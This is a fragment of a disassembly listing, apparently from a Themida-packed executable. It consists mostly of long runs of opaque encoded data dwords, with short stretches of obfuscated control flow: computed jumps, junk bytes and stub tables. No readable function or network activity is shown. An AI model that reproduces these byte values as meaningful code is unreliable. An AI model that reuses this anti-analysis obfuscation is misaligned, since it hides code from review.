		dd 0AD38BC9Ah, 1BAh, 0EE1580CFh, 0B5304502h, 0A7941228h
		dd 942B10EEh, 0FC5B18FDh, 801117B3h, 1300E503h,	0E8917674h
		dd 1BADCE3Dh, 9F8B8170h, 17B38BE2h, 0B5A23911h,	158C1BD5h
		dd 38BC319Ah, 4C5C3D2Ah, 37CEB349h, 733E11A0h, 60000001h
		dd 99856321h, 0B47DF0ADh, 0B0471228h, 314F3C21h, 0EA9826B3h
		dd 105E1B07h, 0B419F9E9h, 0EE7B381Dh, 0E919F9E8h, 0E1CECF3Eh
		dd 0FC419E65h, 56h, 7936221Eh, 1228B4F4h, 1CAA39D0h, 0E29F8B6Eh
		dd 19F9DCD0h, 7F6649ADh, 752A986Eh, 60F7DC12h, 0FE953AC9h
		dd 33672512h, 71009755h, 1C9ACF8Ch, 513D19FAh, 0E6CB2164h
		dd 0C7A6634Fh, 0FD19FA1Ch, 0FD2CD766h, 9E9DF3BCh, 0A6EA41h
		dd 11FE0000h, 0FD947977h, 6321906Eh, 0C7B4A085h, 40BED9CDh
		dd 6D2D1AA9h, 0C3C1AE93h, 35534025h, 0BFDECBB7h, 6825B241h
		dd 1228B9D2h, 810EEAAAh, 766287F3h, 8CE19E8Ah, 0F01228B9h
		dd 0DC735894h, 5411A037h, 19FC9932h, 0CBA25F4Bh, 0F919FC98h
		dd 972ED362h, 0B3D2BFABh, 2AB95035h, 16A35D3Dh,	0DB8F6929h
		dd 0F6C856A0h, 0B6E35B40h, 3, 0E8D5629Eh, 0D6C350ACh, 0C5B23FB1h
		dd 0AE9B28C6h, 0CC8714ECh, 41BFDBD1h, 2ECCC7B4h, 19D7B4A1h
		dd 3E19F8Ch, 2BE8D476h,	19FFCC42h, 21BC9A82h, 0DFA8761h
		dd 6E4718Fh, 99856321h,	2A0FEDACh, 331F0493h, 0C4A94746h
		dd 0D3B19E2Dh, 9FCB8815h, 3C1228B4h, 0D499564Eh, 311228B4h
		dd 35E915CDh, 32C96EC9h, 0D6C3AF9Bh, 432AE7B4h,	811228D8h
		dd 7C453EAh, 19F9F993h,	2C41FEEAh, 9819F9FAh, 36CD7201h
		dd 6321CBA9h, 0D5B3A085h, 5C3E2B17h, 0A5EE40A4h, 0E5B2BEE8h
		dd 4F3BC956h, 0CC286855h, 0DA9350E7h, 0EA12298Eh, 8F2C41FEh
		dd 1981229h, 2AE7D36Ah,	19FAC344h, 0DD904D39h, 0E719FAC2h
		dd 2F1CC150h, 0C5B19654h, 0FAC26508h, 31C85F19h, 5C2AE9Ah
		dd 19FAC268h, 5136C55Ch, 0FAC2D594h, 0A8570219h, 9F3FC8E7h
		dd 2E1541h, 80370000h, 9F03EF12h, 1758CC60h, 235F4CA8h
		dd 0BA49E0C5h, 20A111CEh, 8C2319FAh, 207FEAA7h,	0AD5819FAh
		dd 0A2723D7Eh, 0A66B419Eh, 8D000000h, 0A0856321h, 3419D7B3h
		dd 0C6AB4947h, 513DBBD9h, 0D8FF2064h, 65F9F077h, 0EB78079Eh
		dd 29450C2Eh, 0D4107012h, 0BE3A5A47h, 0BA5F4BD9h, 656911CEh
		dd 0C45B19FAh, 18F9A937h, 0EA83402Ch, 0DA19FA65h, 0BC8B443h
		dd 21CE4775h, 0DFCCB84Fh, 0F55945A3h, 8FDB29FBh, 9825B424h
		dd 5D11EFABh, 0FEBE722Ch, 325BD3B8h, 7C000002h,	6451DE02h
		dd 523FCC20h, 412EBB35h, 2A17A442h, 48039068h, 0C5235F55h
		dd 0B2484B38h, 9D5B3825h, 87652310h, 0AF6C58FAh, 19FFCCBEh
		dd 21401E06h, 0DFA8761h, 0F8E4718Fh, 0E1708E0Bh, 99128003h
		dd 861D02FCh, 6C4603EFh, 1119F9DDh, 9D8A6624h, 0D07504FAh
		dd 4CC54A6Ch, 15AC00F7h, 22F67330h, 0F5E119FAh,	896E8A08h
		dd 6E8005F2h, 0C4C534DFh, 419EA3EBh, 0D2F2h, 63211400h
		dd 30359985h, 0E17B140Dh, 0C8B49928h, 78641E64h, 82119D6Ah
		dd 16FBF595h, 2931E159h, 0FFFD9B12h, 0E9078572h, 0E5047604h
		dd 73890CF9h, 7C68F78Eh, 0FA51BBBFh, 0E5EC219h,	0D5CE6843h
		dd 0CA610695h, 5997F1DEh, 0C3AF3DCAh, 0AC75321Eh, 1821CE82h
		dd 0ECA99581h, 21CE8281h, 0C2BFAC43h, 19A83F24h, 0A642402Dh
		dd 926E2C19h, 0BE7C97DEh, 70E8CDFEh, 141h, 60ED138Bh, 4EDB1173h
		dd 3DCA2461h, 26B33150h, 129F5939h, 2C6E4657h, 3F5A47D4h
		dd 4A4734C1h, 52321FACh, 7B670996h, 0FFCDAFBEh,	4F2D1519h
		dd 4D21BE22h, 36A48D15h, 20D8BAA7h, 9F5C4834h, 1228F5CEh
		dd 0CBA25FF6h, 0F91228F5h, 5A46D362h, 0EED32D6Dh, 0BDDBC857h
		dd 21D4B23Fh, 41433063h, 722FC6ABh, 1228B4FBh, 0AF9B32C9h
		dd 452AC6C2h, 4D3A1FAEh, 3824B14Fh, 0C7255F4Ch,	0DF8E4BE2h
		dd 0E51228B4h, 0C45B99F8h, 16FBA735h, 0A55B3D2Ah, 0AE9A29C0h
		dd 0FFC1C3F1h, 75140119h, 7F4E077h, 84076B89h, 4FB94CD6h
		dd 5F2D766h, 0EFDC6987h, 0B16E5391h, 888A06DFh,	8D84731Eh
		dd 8EDF9C0Fh, 36888A06h, 8F7B089Fh, 687E6A3h, 0A63D888Ah
		dd 8E6A2A17h, 0E5D1BDA9h, 8A074528h, 2BE87F88h,	888A0742h
		dd 6F5CEB82h, 0FAE6D210h, 8A07303Dh, 6EFD9488h,	90F4E089h
		dd 0F1838BABh, 0F5B29E34h, 888A8278h, 7B26B54Ch, 0A3F7958Ch
		dd 19D7B0E4h, 6F069D82h, 0FFF19683h, 67F4831Ah,	0F9DE1A7Ah
		dd 0D231A90Dh, 0B495D895h, 982F8889h, 1A297534h, 0F4FC712Eh
		dd 31C88889h, 32AA2h, 0C24C0000h, 837D21E4h, 15D3B19Eh
		dd 0A8464330h, 3DB3D6C3h, 0D12F6B58h, 6583FFECh, 0F6F49380h
		dd 8D632411h, 23D9BBA8h, 0EC836F3Eh, 243C8904h,	0C781E789h
		dd 4, 8704EF83h, 685C243Ch, 3826h, 56241489h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 34895C24h, 3439BA24h, 0D2F75B36h
		dd 46FCB951h, 0CA29000Eh, 0CCE28159h, 8149053Ah, 5D4AE5CAh
		dd 22F2815Ch, 815B8A47h, 4ECh, 24248900h, 4240481h, 5E000000h
		dd 57D08950h, 7E89C789h, 8B585F08h, 89572434h, 4C781E7h
		dd 83000000h, 3C8704C7h, 148B5C24h, 0E0895024h,	405h, 40500h
		dd 4870000h, 0E9E95C24h, 0AEFFFA62h, 0AC8F6917h
; ---------------------------------------------------------------------------
		movsd
		mul	dh


loc_5E81DF:				; CODE XREF: Themida_:005E73B8j
		mov	eax, 7D71AFCh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 67C4D794h, 6B46A6D3h, 1D58FD2Fh, 37E86B0Dh, 88D8CCCh
		dd 216BCBD6h, 424F37CCh, 3B6AECF1h, 1F13F53h, 4EC8F7A5h
		dd 21CA3B33h, 6BB09E6Ch, 691A5BA6h, 3582355Eh, 25177E4h
		dd 56610560h, 7F6884DDh, 7DD4E757h, 0C1C28F6h, 67A2FBA0h
		dd 7A723F26h, 1CE38D8Dh, 8D8907D7h, 7D10F45h, 1B518D89h
		dd 6A07D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 27FBDCC3h, 30095506h, 958B6527h, 7D13225h
		dd 2D5585C7h, 6AE407D1h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0F2134FC3h, 759D31A6h
		dd 0C707D132h, 0D11D3985h, 7, 0BE800h, 0D49D0000h, 0E15EED33h
		dd 0D794C217h, 5FF5B2F5h, 0FFD38B66h, 0D11FF1B5h, 0DE907h
		dd 52010000h, 0A886A21Ah, 0E5DD4E9Bh, 0FFE57DE5h, 0D1180195h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0FAE14BAAh, 0E8C78DA9h, 0Ah, 0B8969871h
		dd 9C990151h, 8B669D51h, 6A58C2h, 5595FFh, 0C08B07D1h
		dd 40BF5EEBh, 4A2144F3h, 0CFF9CFEDh, 78E1D9D5h,	1CDB3E9Bh
		dd 9AB839E8h, 2AE11BAFh, 33D8DCF9h, 9D629391h, 58BD2778h
		dd 0FB118D7Bh, 87F3511Ah, 8CC48EEBh, 0C304D654h, 0FE7ECC95h
		dd 0D0BEA18Eh, 0EBB58580h, 0E98044A4h, 2E012C2Ch, 3346B41Fh
		dd 8A67B0C7h, 0B3799AEAh, 5DF92DB6h, 14B95DA5h,	1CE9h
		dd 0EB956000h, 6Eh, 5 dup(0)
		dd 0C71E900h, 0F3680000h, 0E907D71Eh, 0FFFB3B7Bh, 0D7202768h
		dd 3B71E907h, 0C268FFFBh, 0E907D721h, 0FFFB3B67h, 0D722CC68h
		dd 3B5DE907h, 9468FFFBh, 0E907D725h, 0FFFB3B53h, 0D7274568h
		dd 3B49E907h, 3868FFFBh, 0E907D728h, 0FFFB3B3Fh, 0A6F3377Ch
		dd 0EC39E9C6h, 317EA20Ch, 74C15B51h, 0BD0A1E94h, 8929150Ah
		dd 3F72529Fh, 0F3BA9AE7h, 0B2FEDE2Bh, 33BF2572h, 242C9BB4h
		dd 0FA5B2B72h, 140CA282h, 664613A3h, 0FD258A4Ah, 0E470FC6Dh
		dd 0F3316865h, 7F4CDC75h, 0C613119Fh, 0D561F8F1h, 22057856h
		dd 0CB3CCC72h, 2205074Ch, 0C3066472h, 29685B7Bh, 9E0EEEB0h
		dd 511BB17Eh, 0BA000000h, 0CDAD3039h, 8BC443E5h, 3B75F331h
		dd 108F1BABh, 72221972h, 626288D2h, 35AB7C1Fh, 77252AA9h
		dd 19A97222h, 0AC8C1889h, 0CDAD1E02h, 0E3B040E2h, 22776F64h
		dd 10F07C72h, 7BFA86A2h, 72227752h, 379562F2h, 5A8CACF4h
		dd 0C815B029h, 0B4000000h, 16A2822Eh, 7F9A8ACCh, 23F02837h
		dd 48E0D2B2h, 40BF4BD7h, 75F3F40Fh, 82622FBFh, 0A585F62Eh
		dd 0B19E1D0Bh, 1575F3F4h, 29A8F585h, 75F3F0C5h,	55A2822Eh
		dd 6EED3B75h, 75F3F061h, 78AA05E5h, 5BE758E8h, 23F0367Bh
		dd 32BE254Eh, 22E34BB3h, 9C14F472h, 17CD1788h, 618CF2FDh
		dd 9D22EF7Fh, 0C6EBC00Dh, 0CB50CF5Bh, 7B75F1C5h, 337F5FEBh
		dd 0EAC8A8F5h, 47F2973Eh, 34A5D060h, 0A2DD0h, 0B2783B00h
		dd 0F82A8565h, 3DE3CBABh, 809C10F0h, 0C95F5333h, 0E854C97Ch
		dd 31115ECAh, 7959A680h, 0BD9DEA34h, 7EE431F3h,	2F5A73F2h
		dd 1AEA7224h, 0A4842EB9h, 0C03FCB57h, 75F3318Fh, 0E1CFAF3Fh
		dd 1A967643h, 395CBD0Ah, 9E1DA930h, 722219FCh, 0D04FC050h
		dd 722219FBh, 0F7478AE8h, 0BA879517h, 29781636h, 1169FB0h
		dd 2E3E0000h, 3616A282h, 0ED37A878h, 971C112Dh,	2CB848CBh
		dd 0F393A0ADh, 0C7942475h, 0EC3C7656h, 0E1E1660h, 0DEE3251Bh
		dd 0CD21A011h, 2675F383h, 0C14D9A8Ah, 0EEBA6F77h, 3C1C4BE7h
		dd 0AB3BAC70h, 72B2FEDEh, 4C072C01h, 0A32FBF63h, 6C39EFC3h
		dd 3A7454E0h, 18E575E6h, 22446599h, 0DE5DE972h,	722244F1h
		dd 257BC555h, 0DC7264E2h, 0CFA4F181h, 8BC443DAh, 767222A6h
		dd 0D24D941Ch, 0A0EA6F64h, 2C354A38h, 0C555E55Dh, 4121AD39h
		dd 1A33B26Ch, 0A3722201h, 22012B24h, 860B9B72h,	3EAA29F6h
		dd 8E75F1DFh, 209272FEh, 71F07C08h, 75F1DF5Ch, 94051795h
		dd 0FEF7F04h, 7E0E7F9Dh, 2E8464B1h, 4DA453FAh, 82F3D060h
		dd 8F91Eh, 7EAC0700h, 0C45E5131h, 9179777h, 4CD0DCBCh
		dd 95931FFFh, 0B4689548h, 0FDDD2AFEh, 452572B4h, 8969B668h
		dd 4AB0FD27h, 110E3FBEh, 0EEBE7224h, 0A4842E8Dh, 0C03FCB57h
		dd 75F3318Fh, 3194B938h, 0A83875F3h, 0E6C69323h, 0AC0D5ACAh
		dd 31A2822Eh, 78C55F51h, 98178EA3h, 75F331B7h, 6BF78717h
		dd 1FADFFDFh, 37049492h, 221F7AB8h, 0C93ACA72h,	0D15DC7E9h
		dd 308187h, 0D4A1658Ah,	1B09A787h, 1B0C2BAAh, 4765E1A6h
		dd 2B8464D5h, 0A81907A7h, 66178818h, 8D21C508h,	2922293h
		dd 3414A02Ch, 0A535A67Ah, 0A61B2926h, 400D9DE1h, 6F4F9FE2h
		dd 0E474E543h, 0AB793717h, 0B2703F1Fh, 97E4B141h, 0BA2BF9B7h
		dd 55DFE42Eh, 32F50156h, 0B6ECE665h, 0D634E1A6h, 63C1EF93h
		dd 3F408A16h, 0B7993E24h, 535D3D0Ah, 13E160D1h,	661E5974h
		dd 8F21C508h, 48684895h, 9D966BDCh, 62EE7A06h, 87F83082h
		dd 745778F7h, 67F71E59h, 59BF1B9Ah, 0BE081988h,	0F0A407E5h
		dd 2DB27F21h, 767B509Dh, 0FEE05FEBh, 4E1E5952h,	77C14DBEh
		dd 0F1270238h, 3EBD8ACBh, 1E595014h, 6CB4F755h,	4C503B4Ch
		dd 498D5h, 6C537400h, 8940F24h,	31D0FD7Ch, 0E47475F3h
		dd 720C8B17h, 0D2722200h, 7C089442h, 2200D0FDh,	17E47472h
		dd 0EDD12A98h, 0BA214AAEh, 0C08BAF2Eh, 0AB3BA93Ch, 0D54C653Ah
		dd 0FB80CA49h, 0B444AEEDh, 0C0684828h, 0EDFB0C41h, 0A030C0AEh
		dd 0E73D7353h, 4471BF40h, 9D0172F5h, 75Eh, 96E3476Ch, 0DC29F9B6h
		dd 216EB2FCh, 64B16B41h, 0ADFA2E84h, 991905FAh,	4F62428Fh
		dd 3AA8AD7h, 0C2EECE1Bh, 23AF1562h, 2410ABA4h, 0EA4B1B72h
		dd 31A2822Eh, 76C35D51h, 0FD12h, 8A68600h, 82EA4B18h, 0A1120AA2h
		dd 786F4411h, 4AC955E1h, 75F33105h, 8E6C39C9h, 62C00CD3h
		dd 9CB7D71Fh, 6A4AB7FAh, 0DA6ADB43h, 0FE6FB7FAh, 5B0BA16Eh
		dd 0AA000000h, 45ED3239h, 4F2944D1h, 0FF7E0A9Ah, 75F317CBh
		dd 9A7AEB7Bh, 0E1C10E16h, 0FE455CFh, 0CB04831Ah, 7475F317h
		dd 0F317D8F5h, 57DC6C75h, 2CAB37C7h, 72220636h,	0AD950696h
		dd 0A4C40C4Fh, 2DB0296Bh, 16h, 31EBC1A1h, 25A430C0h, 72220828h
		dd 0DE3F0C9Ch, 0FDAAh, 0A2824900h, 59A3140Ch, 70DDB562h
		dd 34019145h, 43CF4A5Fh, 0A300E4F9h, 622FFC7Eh,	0E42B57D6h
		dd 4A947222h, 0C7180E69h, 1EA370CBh, 41B2723Eh,	0EF7A21B1h
		dd 0A2C89199h, 654CD31h, 51620000h, 3AC8CD9h, 0BCF2D21Fh
		dd 75371764h, 387A5AA7h, 0FF0A3F0h, 3885A30Fh, 80CD5958h
		dd 0C4110DA0h, 0B58CCE4h, 0B59A19A5h, 19722413h, 3239E849h
		dd 680EC9A7h, 0E1296CCAh, 0B7FAA0C1h, 624Ah, 3239E900h
		dd 660EC9A7h, 0EBF640CCh, 7F6F9E71h, 0A6E94714h, 0FA8E3E5Eh
		dd 45C7B7h, 5B3B0000h, 0EC327B51h, 8E5BEB5Ch, 0A732392Dh
		dd 0F33F0EC9h, 3D0F5295h, 3675F339h, 5A3AAB7Bh,	0CC5CCD55h
		dd 728AC3Ch, 90B7FA94h,	0FFFFFEABh, 0D4F97804h,	1D75F321h
		dd 92229395h, 7422C30Dh, 1121D8E1h, 3953B481h, 0EC9A732h
		dd 8767F33Fh, 0F686F725h, 4088CB29h, 0B7FAA020h, 274A9h
		dd 0F6824800h, 0F3315677h, 9966F675h, 0BE2FF9B9h, 7252CEDEh
		dd 0E676E73Fh, 0F3316667h, 0C656E675h, 0DE217F55h, 63B0783Ah
		dd 0E7AC8DD7h, 874256DBh, 50D8DABAh, 7AE10ADFh,	374B6FEEh
		dd 6BFB7222h, 0FE419FFAh, 44D0585Ah, 371439B8h,	6EB87222h
		dd 1EBB9ECEh, 22EF7F1Ch, 1BBDF5D5h, 82018D93h, 7222DF4Dh
		dd 70E17101h, 22DED8F1h, 9FE24072h, 2471B7FBh, 2EBA6E44h
		dd 0F3C0604Eh, 1D84AD82h, 70BB0591h, 0B2C617CFh, 2293911Fh
		dd 0B6350292h, 75F3A8ACh, 0B7439020h, 0DB4CDAD7h, 0FB6CB2FBh
		dd 390EDB6Bh, 9E1DA930h, 7222853Ch, 108F0090h, 7222853Fh
		dd 0D2ED7B34h, 0B6F0B5DDh, 56A011A1h, 0DA3EE04Bh, 46694970h
		dd 0B2106BDCh, 0AFA01F6Fh, 1F72223Ch, 0F04EFF8Fh, 841F14ADh
		dd 0E0ED6CF8h, 6472223Ch, 3C7459D8h, 48D87222h,	0A0AD2CB8h
		dd 2472223Ch, 0BC3BC794h, 75F3111Eh, 0F1D11EAEh, 8FD965BFh
		dd 9A0E790Fh, 6BDCA968h, 3DEC95DFh, 0C83937EBh,	3F951BFBh
		dd 5E3EAF6Dh, 0B343D353h, 0BC6A4727h, 0A4CDA2EFh, 9E67B13Dh
		dd 7F579D68h, 34B33F0Ch, 7222171Ah, 0AE8E1AAAh,	0E5562303h
		dd 22176D66h, 0DD207E72h, 29767595h, 3BFEB0h, 399D0000h
		dd 9E1DA930h, 722219FCh, 0A834C050h, 22192429h,	0CE18A872h
		dd 699966F0h, 0D4451265h, 22397C55h, 0CC0F6D72h, 0F139C7Ch
		dd 989EBE42h, 5131B029h, 63F9C660h, 0C7h, 0A2822E02h, 515BA531h
		dd 82F538F2h, 40D0505Eh, 0D1F9373h, 0F32F418Eh,	0E5750575h
		dd 81C9474h, 2FF9B797h,	0F32F9FB0h, 24A32F75h, 75F32F2Bh
		dd 9B7B0B9Bh, 0B9B0C12h, 0A20FEF7Bh, 0B6831384h, 0E93DD69h
		dd 0D41905EAh, 10DE5D2Ah, 5975F35Bh
		dd 0AB80CD57h, 108F1B86h, 72208426h, 0AA8A16A6h, 0F3D32008h
		dd 5920AFBFh, 592790DFh, 0CB5BCC56h, 7704AB3Bh,	22C88F61h
		dd 38C4DB1h, 199A0000h,	0CBE4C411h, 842A0A57h, 3D6F4F9Ch
		dd 0B292DFh, 0F728DB28h, 70BD6B47h, 0B8052190h,	0FC49D5D8h
		dd 4390941Ch, 0FDD251DDh, 51722414h, 842E2081h,	397757A4h
		dd 86129EEBh, 9A1909A6h, 75F331B5h, 5A98919h, 2EED4E1Bh
		dd 0C45C5282h, 0E73D7353h, 34CCB57h, 0C375F331h, 0A632A333h
		dd 67A3025Ch, 0E5B21689h, 2C79AB05h, 0A2822ECBh, 58783616h
		dd 0CC5CCD59h, 6E3BCB3Ch, 792771FDh, 320B4852h,	0A4A928B4h
		dd 2875F37Eh, 0C5EBCB98h, 0F37F9D0Fh, 0F37E5B74h, 0CB5BEB75h
		dd 1980A97Eh, 51B7018Dh, 0DFE31050h, 7E50CF9Ch,	0CE72228Ah
		dd 53D43684h, 42223CF1h, 0B242B36Bh, 1932B122h,	4A7222C2h
		dd 9AB332BEh, 2A7222C2h, 2C6FCD9Ah, 28A9C4E4h, 3B4DB0h
		dd 39EC0000h, 911DA930h, 0A82701B1h, 75F331A7h,	664D9727h
		dd 4FAA21F5h, 67E6723Fh, 7222FB2Bh, 1B9A0B9Bh, 7222FB36h
		dd 4A92D533h, 0B028D62Ah, 0F5B3h, 65472700h, 0E9B646B7h
		dd 52822E88h, 0C656C75Fh, 9F1EAA36h, 75F331AEh,	0ED78D41Eh
		dd 57D5AAEDh, 0A989FAC7h, 0CEAE1F09h, 0F1D142E2h, 9537ABBFh
		dd 0F013530Eh, 6848D460h, 0D969DA46h, 0F3DA755Ah, 0BD49D975h
		dd 0F3DA113Eh, 5825B575h, 0DEA28C0Bh, 0E9C775F3h, 0DFCFAF3Bh
		dd 7340D041h, 0BE6A4626h, 0DE4FCFDEh, 0DEFECF4Eh, 0BE4E75F3h
		dd 0C3E8BD2Eh, 154DCC58h, 0B97222FEh, 0F5BD9D29h, 44196633h
		dd 0A928B42Fh, 75F11CB7h, 1BFB8717h, 0BB059197h, 7F315B32h
		dd 1A673480h, 9B0783Ah,	0D060BF72h, 0DB50B425h,	0E9000001h
		dd 331360CAh, 7959A67Ch, 0BE9EEB35h, 1E12EEEh, 772A77B1h
		dd 0C1C9686h, 54D2DFBFh, 98862707h, 0DF456B4Bh,	21A02C92h
		dd 7224162Ch, 2E6FD0A0h, 27B5EA84h, 33D4C94h, 6A462673h
		dd 1E16DBAh, 760677B1h,	1626BEAh, 52E275F3h, 30392485h
		dd 47911DA9h, 3DF19B12h, 61463C4Fh, 0C73B343h, 0B8ED327Ch
		dd 0CE2E35ECh, 59008201h, 34C47222h, 590F44C3h,	0FE5C7222h
		dd 385373BBh, 0C2DCB029h, 50000000h, 7FB90A06h,	296A9D7h
		dd 6867B1FDh, 63C49138h, 1810A282h, 0DF456B4Bh,	4248E6Eh
		dd 35DA1493h, 0A10F75F3h, 5A563683h, 6F8459CAh,	5DDC68F4h
		dd 75F33570h, 0EB7744D4h, 2215766Ch, 0F946D672h, 8940F24h
		dd 11159C7Ch, 0C44310A0h, 75F1CB37h, 438C0B97h,	375F1CBh
		dd 7757E373h, 0C0A0ED3Bh, 268F36F2h, 0E9D06042h, 0E81478h
		dd 0BDF60000h, 6F40206Dh, 288666B3h, 0E1CBABF8h, 0A40EEE3Bh
		dd 9B843784h, 0CC190FA3h, 1461C5ECh, 58A57934h,	9FEC3878h
		dd 212EAD39h, 0A5722419h, 842E74D5h, 312429A8h,	18A875F3h
		dd 555B3B88h, 317B54D3h, 3BCB75F3h, 14931FABh, 75F3313Bh
		dd 0E12EFB8Bh, 0A2822E80h, 0C55F5131h, 0C38EA378h, 1BA737EDh
		dd 4B84038Fh, 0FB75F331h, 611F9E6Bh, 0E572242Ch, 2F79AB05h
		dd 72FEEEFFh, 0D041D14Dh, 1764C0F0h, 3AAB7937h,	186DDCBBh
		dd 49931F1Bh, 0BA3FFE4h, 2429A813h, 0A81B18D4h,	5DBB8818h
		dd 303A761Ah, 7ABC7CBDh, 4C99290Eh, 6FE0446Ch, 73FF1D8Fh
		dd 94051B93h, 6BC63704h, 8A26CA0Dh, 0E1C14D9Ah,	52E253CDh
		dd 1D0BA585h, 31B0723Dh, 1B18921Ch, 1F9020B0h, 0DBBh, 24A32F00h
		dd 1B18922Bh, 0DD3E0B9Bh, 852E5FC0h, 5C5434A5h,	367757C8h
		dd 1A9777E8h, 0F7BB9B0Ch, 0D2E0C031h, 0A705E556h, 8A240475h
		dd 6A452596h, 52AB47B8h, 0BE56E289h, 68CE2ECCh,	0C103EEC1h
		dd 0EE8107E6h, 8CE2EC7Ch, 835EF201h, 148704EAh,	89505C24h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 8957243Ch, 4C781E7h
		dd 83000000h, 3C8704EFh, 0C895C24h, 1DB26824h, 3C8B07D7h
		dd 4C48324h, 240C8B54h,	4C481h,	2A680000h, 8900007Ch, 418F243Ch
		dd 240C8B08h, 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h
		dd 8956243Ch, 4C681E6h,	83000000h, 348704C6h, 18E95C24h
		dd 75FFFB2Fh, 0B8F2C95Dh, 7D72945h, 0E0FFC503h,	1EB032EFh
		dd 2182B412h, 20554F60h, 436D227Bh, 39D7FF35h, 64807BFh
		dd 5CF16177h, 1615231Dh, 4D9AEAh, 7E3264D3h, 366777A5h
		dd 7F15BBB3h, 640A5022h, 70B389D6h, 3AF1B14Ah, 58B84B9Ch
		dd 0CF6F578h, 0CE8h, 0C26B2100h, 0A1DDB2A0h, 0E6758173h
		dd 0CDB8669Ch, 0D78B5B42h, 6B79C381h, 14E90000h, 61000000h
		dd 0D8111874h, 0F3FAF3CEh, 2F574C66h, 389E0DA1h, 0BEBEEB57h
		dd 0
; ---------------------------------------------------------------------------
		adc	di, 67D4h


loc_5E90A9:				; CODE XREF: Themida_:005E9150j
		push	dword ptr [esi+ebx]
		stc
		pop	ecx
		jmp	loc_5E90C5
; ---------------------------------------------------------------------------
		db 0B7h
		dd 81D9B563h, 0FB531F63h, 0BBA8262Ch, 0EB2D285Ah
		db 3Ch
; ---------------------------------------------------------------------------


loc_5E90C5:				; CODE XREF: Themida_:005E90AEj
		add	ecx, 756BE429h
		sub	ecx, 28F3EAFEh
		jnb	loc_5E90DC
		xor	di, 7128h


loc_5E90DC:				; CODE XREF: Themida_:005E90D1j
		sub	ecx, 66617407h
		jmp	loc_5E90F7
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------
		push	cs
		mov	edi, 2D8A596h
		retf	36DEh
; ---------------------------------------------------------------------------
		adc	ecx, [ebx+4234AC90h]


loc_5E90F7:				; CODE XREF: Themida_:005E90E2j
		mov	[ebx+esi], ecx
		jmp	loc_5E910F
; ---------------------------------------------------------------------------
		and	byte ptr [esi],	0A4h
		push	ecx
		aad	4Bh
		cli
		sbb	eax, [edx-5Eh]
		ficomp	word ptr [esi+163C554Bh]


loc_5E910F:				; CODE XREF: Themida_:005E90FAj
		mov	edi, 48E31149h
		sub	esi, 60743DA1h
		mov	dx, 7BD5h
		add	esi, 60743D9Dh
		mov	dx, 0EE78h
		cmp	esi, 0FFFF9574h
		jnz	loc_5E914D
		jno	loc_5E913B
		cld


loc_5E913B:				; CODE XREF: Themida_:005E9134j
		jmp	loc_5E915E
; ---------------------------------------------------------------------------
		dd 3B8BCC30h, 15117FEEh, 71FB26D1h
		db 76h
; ---------------------------------------------------------------------------


loc_5E914D:				; CODE XREF: Themida_:005E912Ej
		movzx	edi, bx
		jmp	loc_5E90A9
; ---------------------------------------------------------------------------
		db 15h,	16h, 0ADh
		dd 5E811A8Bh
		db 0EDh, 9Bh
; ---------------------------------------------------------------------------


loc_5E915E:				; CODE XREF: Themida_:loc_5E913Bj
		jmp	loc_5E920D
; ---------------------------------------------------------------------------
		db 23h
		dd 940B400Fh, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 20h	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5E920D:				; CODE XREF: Themida_:loc_5E915Ej
		jmp	loc_5E9DF7
; ---------------------------------------------------------------------------
		push	7D72D3Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D72E47h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D72F69h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D72FD2h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D73168h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D731B7h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D73512h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7362Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dw 81FDh
; ---------------------------------------------------------------------------
		pop	edi
		shl	ch, cl
		mov	ds:0B2D3C04Dh, eax
		cmp	al, 0AFh
		retn	25C3h
; ---------------------------------------------------------------------------
		db 98h,	0ABh, 0EFh
		dd 0D4C98411h, 0B946A2E0h, 0A633C9CCh, 911ED8B9h, 7B08E4A4h
		dd 3D30EDD9h, 8719FFE1h, 6321C19Fh, 0D5B3A085h,	8EFC8A17h
		dd 0ACC27F6Bh, 1819F9E8h, 0EBA89581h, 291280Dh,	0E909601Dh
		dd 0E2CE19F9h, 61B9757Eh, 66F5FFACh, 644B4CBBh,	79419E47h
		dd 35h,	0EF12809Bh, 0DD6C4603h,	251119F9h, 0E09D5B38h
		dd 19F9DD8Dh, 0DF8E4B37h, 0E519F9DDh, 8328B74Eh, 1F4A07ECh
		dd 0B819F9DEh, 129D1E0Dh, 0CB419E5Fh, 0BEh, 856321EDh
		dd 19D7B3A0h, 0AB494734h, 39B7D2BFh, 492EBD54h,	0B9B4715Dh
		dd 0B1228B4h, 0B50B621Fh, 22B91228h, 6B08278Bh,	1EC47900h
		dd 6E2A28Fh, 9728BC79h,	34541229h, 5E3E2BB8h, 0E4D1BDA2h
		dd 0D0674CA0h, 22C7B341h, 0AAC57936h, 68FF19FAh, 0BC5D4DDBh
		dd 4BA1E3D0h, 5440CF66h, 0CE8C8297h, 0BFAB4221h, 4C38B0D2h
		dd 0E0C5235Fh, 402DBA49h, 0AAF2A642h, 0FAFEBE08h, 9DF9D15h
		dd 0B9E50000h, 0CBCDBA47h, 0DABBA835h, 0EBAA9724h, 0F793800Dh
		dd 0ECB16CF9h, 0A12ECAC8h, 8E1BD1B4h, 7906E0A1h, 63F00C8Ch
		dd 5518D5C1h, 6F19FFE2h, 6121A987h, 0E9AE9B87h,	0C9B3217h
		dd 0F6F2927Fh, 12808B69h, 6C4603EFh, 1119F9DDh,	0DE056825h
